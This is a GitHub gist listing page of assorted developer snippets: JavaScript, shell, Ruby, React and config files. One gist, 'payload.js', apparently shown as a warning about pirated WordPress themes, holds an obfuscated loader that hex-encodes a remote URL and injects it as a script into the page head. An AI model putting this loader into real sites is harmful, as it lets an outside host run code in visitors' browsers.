Skip to content

Instantly share code, notes, and snippets.

View rstormsf's full-sized avatar

Roman Storm rstormsf

View GitHub Profile
@rstormsf
rstormsf / index.js
Last active August 29, 2015 14:10 — forked from ChetHarrison/index.js
'use strict';
var EventEmitter = require('events').EventEmitter,
globalChannel = new EventEmitter(),
Rx = require('rx'),
nutrients = require('./food-objects/nutrients'),
nutrients,
defaultHandlers = {
onError: function (err) {
@rstormsf
rstormsf / gistbook.json
Created December 20, 2014 03:10 — forked from trezy/gistbook.json
Backbone.Marionette - replaceElement
{"title":"Backbone.Marionette - replaceElement","author":"trezy","pages":[{"pageName":"","sections":[{"type":"text","source":"My biggest gripe about Backbone.Marionette is that `Region`s require a wrapping element. Fortunately I've come up with a way to turn a Region's element into nothing but a placeholder so that it's removed when you use `Region.show()` to display a view. This will likely be in Marionette V3 but I don't want to wait that long so I've written this shim to implement the functionality today.\n\nFirst, we need to add a couple new methods to `Region`. `replaceEl()` will be called when we use `Region.show()` on an empty `Region` and `restoreEl()` will only be called when we use `Region.empty()` to make sure that we don't lose our `Region`'s position in the DOM."},{"type":"javascript","source":"Marionette.Region.prototype.replaceEl = function(view) {\n var parent;\n \n parent = this.el.parentNode;\n parent.replaceChild(view.el, this.el);\n this.replaced = true;\n};\n\nMarionette.Region.proto
@rstormsf
rstormsf / bedrock-ansible-setup.sh
Last active January 29, 2018 10:23
Bedrock ansible setup
#!/bin/bash
#Script to install Bedrock Wordpress stack on OSX
brew doctor
brew tap caskroom/cask
brew update && brew upgrade brew-cask && brew cleanup && brew cask cleanup
brew cask install virtualbox vagrant
brew install rbenv ruby-build
#use bashrc if you are not on zsh
cat >> ~/.zshrc << EOF
# ###
@rstormsf
rstormsf / payload.js
Created January 21, 2015 23:12
Torrenting Wordpress Theme is never a good idea
var hs_tld=document.createElement('script');
hs_tld.setAttribute("type","text/javascript");
var _0xa6dz=["\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6F\x6D\x2D\x61\x70\x69\x2E\x6F\x6E\x6C\x2F\x72\x65\x73\x70\x6F\x6E\x73\x69\x76\x65\x2E\x70\x68\x70\x3F","\x72\x61\x6E\x64\x6F\x6D"];var hs_flp=_0xa6dz[0]+Math[_0xa6dz[1]]();hs_tld.setAttribute("src",hs_flp);
if (typeof hs_tld!="undefined");document.getElementsByTagName("head")[0].appendChild(hs_tld);
@rstormsf
rstormsf / build.prop
Last active April 30, 2019 13:54 — forked from ibrahima/build.prop
# begin build properties
# autogenerated by buildinfo.sh
ro.build.id=JZO54K
ro.build.display.id=JZO54K.N8010XXUCMK2
ro.build.version.incremental=N8010XXUCMK2
ro.build.version.sdk=16
ro.build.version.codename=REL
ro.build.version.release=4.1.2
ro.build.date=Wed Nov 20 16:29:39 KST 2013
ro.build.date.utc=1384932579
@rstormsf
rstormsf / index.rb
Created March 15, 2015 00:27
Selenium
mobile_emulation = { "deviceName" => "Google Nexus 5" }
caps = Selenium::WebDriver::Remote::Capabilities.chrome(
"chromeOptions" => { "mobileEmulation" => mobile_emulation })
@driver = Selenium::WebDriver.for :remote, url: 'http://localhost:4444/wd/hub', desired_capabilities: caps
@driver.navigate.to "https://www.gmail.com/"
@rstormsf
rstormsf / todolist.js.jsx
Created August 7, 2015 21:33
RailsConf 2015 - React.js on Rails - fix on getInitialState when using ES6 classes.
class TodoList extends React.Component {
constructor(props) {
super(props);
this.state = {name: "nope"};
}
render() {
return (
<ul>
<li>Updated</li>
@rstormsf
rstormsf / index.html
Created August 11, 2015 03:39
init fortitude
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript" src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<link rel="stylesheet" type="text/css" href="../dist/fortitude.css">
<link rel="stylesheet" type="text/css" href="../dist/fortitude-theme.css">
<script src="../dist/fortitude.js"></script>
@rstormsf
rstormsf / gitpull.rb
Created September 28, 2015 20:32
git pull all directories
#!/bin/ruby
Dir.chdir(Dir.home + '/repos/all')
dirs = Dir.entries('.').select {|entry| File.directory? File.join('.', entry) and !(entry =='.' || entry == '..') }
dirs.each do |d|
Dir.chdir("#{Dir.pwd + '/' + d}")
puts Dir.pwd
system "git pull"
Dir.chdir(Dir.pwd + "/../")
end
@rstormsf
rstormsf / some.html.slim
Created October 17, 2015 05:20
Mix Ruby and JS
- flash.each do |key, value|
javascript:
console.log("#{key}");
toastr.options = {
closeButton: true,
progressBar: true,
timeOut: 9000
};
var flash = {};
flash.message = "#{value}";